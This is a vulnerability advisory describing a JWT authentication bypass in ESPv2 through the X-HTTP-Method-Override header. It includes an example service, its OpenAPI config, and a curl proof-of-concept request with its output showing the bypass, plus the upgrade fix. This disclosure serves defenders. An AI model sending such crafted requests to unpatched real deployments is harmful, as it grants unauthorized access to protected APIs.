Summary

ESPv2 contains an authentication bypass vulnerability. API clients can craft a malicious X-HTTP-Method-Override header value to bypass JWT authentication in specific cases.

Background

For reference, background information on X-HTTP-Method-Override and JWT Authentication is copied below.

X-HTTP-Method-Override

In certain situations (for example, when the service or its consumers are behind an overzealous corporate firewall, or if the main consumer is a web page), only the GET and POST HTTP methods might be available. In such a case, it is possible to emulate the missing verbs by passing the X-HTTP-Method-Override header in requests.

For example, an API client can send a PUT request over POST via the following request:

curl --request POST \
     --header "X-HTTP-Method-Override: PUT" \
     --header "Content-Type: application/json" \
     --data '{"username":"xyz"}' \
     https://my-endpoint.com/api

JWT Authentication

ESPv2 uses JWT authentication if you followed any of the OpenAPI or gRPC tutorials below:

• Using Firebase to authenticate users
• Using Auth0 to authenticate users
• Using Okta to authenticate users
• Using Google ID tokens to authenticate users
• Using a custom method to authenticate users
• Authentication between services

Impact

ESPv2 allows malicious requests to bypass authentication if both the conditions are true:

1. The requested HTTP method is not in the API service definition (OpenAPI spec or gRPC google.api.http proto annotations).
2. The specified X-HTTP-Method-Override is a valid HTTP method in the API service definition.

ESPv2 will forward the request to your backend without checking the JWT. Attackers can craft requests with a malicious X-HTTP-Method-Override value that allows them to bypass specifying JWTs.

Non-Impact

Restricting API access with API keys works as intended and is not affected by this vulnerability.

Example

Consider an example in which a simple REST API service accepts POST requests at the path /restricted.

@app.route("/restricted", methods=['POST'])
def restricted():
    message = "Accessing restricted message."
    payload = request.get_json().get('payload', '')
    return jsonify({'method':'POST', 'message': message, 'payload': payload})

The service is put behind ESPv2, and ESPv2 is configured to accept POST requests only from clients that provide a valid JWT token. Following Using Google ID tokens to authenticate users:

# config.yaml
swagger: "2.0"
info:
  title: "restrictedAPI"
  version: "1.0.0"
paths:
  "/restricted":
    post:
      summary: "Restricted path POST"
      operationId: "restrictedPost"
      security:
      - google_id_token: []
securityDefinitions:
  google_id_token:
    authorizationUrl: ""
    flow: "implicit"
    type: "oauth2"
    x-google-issuer: "https://accounts.google.com"
    x-google-jwks_uri: "https://www.googleapis.com/oauth2/v3/certs"
    x-google-audiences: "XXXXXXXXXXX.apps.googleusercontent.com"

If a malicious API client makes a PUT request and passes the POST method in the X-HTTP-Method-Override header as follows:

curl --request PUT  \
     --header "X-HTTP-Method-Override: POST" \
     --header "Content-Type: application/json" \
     --data '{"payload":"compromised"}' \
     https://url-to-espv2.com

The malicious client successfully bypasses Using Google ID tokens to authenticate users without specifying a JWT:

{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}

Remediation and Mitigation

Upgrade deployments to release v2.43.0 or higher. This release ensures that JWT authentication occurs, even when the caller specifies x-http-method-override.

x-http-method-override is still supported by v2.43.0+. API clients can continue sending this header to ESPv2.

Timeline

• Date disclosed to ESPv2 team: 2023-03-14
• Date fixed in ESPv2: 2023-03-28